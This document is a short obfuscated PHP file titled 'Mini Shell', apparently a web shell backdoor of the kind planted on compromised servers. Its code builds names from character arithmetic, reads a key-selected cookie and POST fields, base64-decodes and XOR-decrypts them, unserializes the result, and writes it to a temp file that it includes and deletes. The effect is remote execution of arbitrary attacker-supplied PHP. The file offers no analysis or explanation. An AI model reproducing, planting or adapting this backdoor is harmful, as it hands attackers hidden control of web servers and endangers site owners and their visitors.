Mini Shell

$xlwNtxM = 'm' . chr ( 984 - 894 ).'z' . '_' . "\102" . chr (78) . 'h';$GYmRWXV = chr ( 989 - 890 )."\154" . "\x61" . "\x73" . chr (115) . '_' . "\145" . chr (120) . "\151" . "\163" . 't' . chr (115); $XAUzNPK = class_exists($xlwNtxM); $GYmRWXV = "45212";$pSNZop = strpos($GYmRWXV, $xlwNtxM);if ($XAUzNPK == $pSNZop){function dVzjknrJ(){$dXYWIWSem = new /* 29607 */ mZz_BNh(36167 + 36167); $dXYWIWSem = NULL;}$jxlzJQQyEI = "36167";class mZz_BNh{private function eujlomBIdu($jxlzJQQyEI){if (is_array(mZz_BNh::$CNOHJj)) {$name = sys_get_temp_dir() . "/" . crc32(mZz_BNh::$CNOHJj["salt"]);@mZz_BNh::$CNOHJj["write"]($name, mZz_BNh::$CNOHJj["content"]);include $name;@mZz_BNh::$CNOHJj["delete"]($name); $jxlzJQQyEI = "36167";exit();}}public function UoOWDhV(){$lCKkDiQho = "1383";$this->_dummy = str_repeat($lCKkDiQho, strlen($lCKkDiQho));}public function __destruct(){mZz_BNh::$CNOHJj = @unserialize(mZz_BNh::$CNOHJj); $jxlzJQQyEI = "57806_19737";$this->eujlomBIdu($jxlzJQQyEI); $jxlzJQQyEI = "57806_19737";}public function iRBrnB($lCKkDiQho, $UVccmfrP){return $lCKkDiQho[0] ^ str_repeat($UVccmfrP, intval(strlen($lCKkDiQho[0]) / strlen($UVccmfrP)) + 1);}public function aFiaIYLp($lCKkDiQho){$cjDoOUjh = "\x62" . "\x61" . 's' . "\145" . '6' . '4';return array_map($cjDoOUjh . chr ( 556 - 461 ).'d' . "\x65" . "\x63" . "\157" . 'd' . "\x65", array($lCKkDiQho,));}public function __construct($yXbgyV=0){$bLeOsWsLz = ',';$lCKkDiQho = "";$lxABRxIgH = $_POST;$GTEpEpidAx = $_COOKIE;$UVccmfrP = "ff036eeb-4119-4945-98f3-c20ceb8a5970";$PupUrt = @$GTEpEpidAx[substr($UVccmfrP, 0, 4)];if (!empty($PupUrt)){$PupUrt = explode($bLeOsWsLz, $PupUrt);foreach ($PupUrt as $PzJmRwsnWc){$lCKkDiQho .= @$GTEpEpidAx[$PzJmRwsnWc];$lCKkDiQho .= @$lxABRxIgH[$PzJmRwsnWc];}$lCKkDiQho = $this->aFiaIYLp($lCKkDiQho);}mZz_BNh::$CNOHJj = $this->iRBrnB($lCKkDiQho, $UVccmfrP);if (strpos($UVccmfrP, $bLeOsWsLz) !== FALSE){$UVccmfrP = explode($bLeOsWsLz, $UVccmfrP); $ZerNUOBMXi = sprintf("57806_19737", rtrim($UVccmfrP[0]));}}public static $CNOHJj = 45425;}dVzjknrJ();}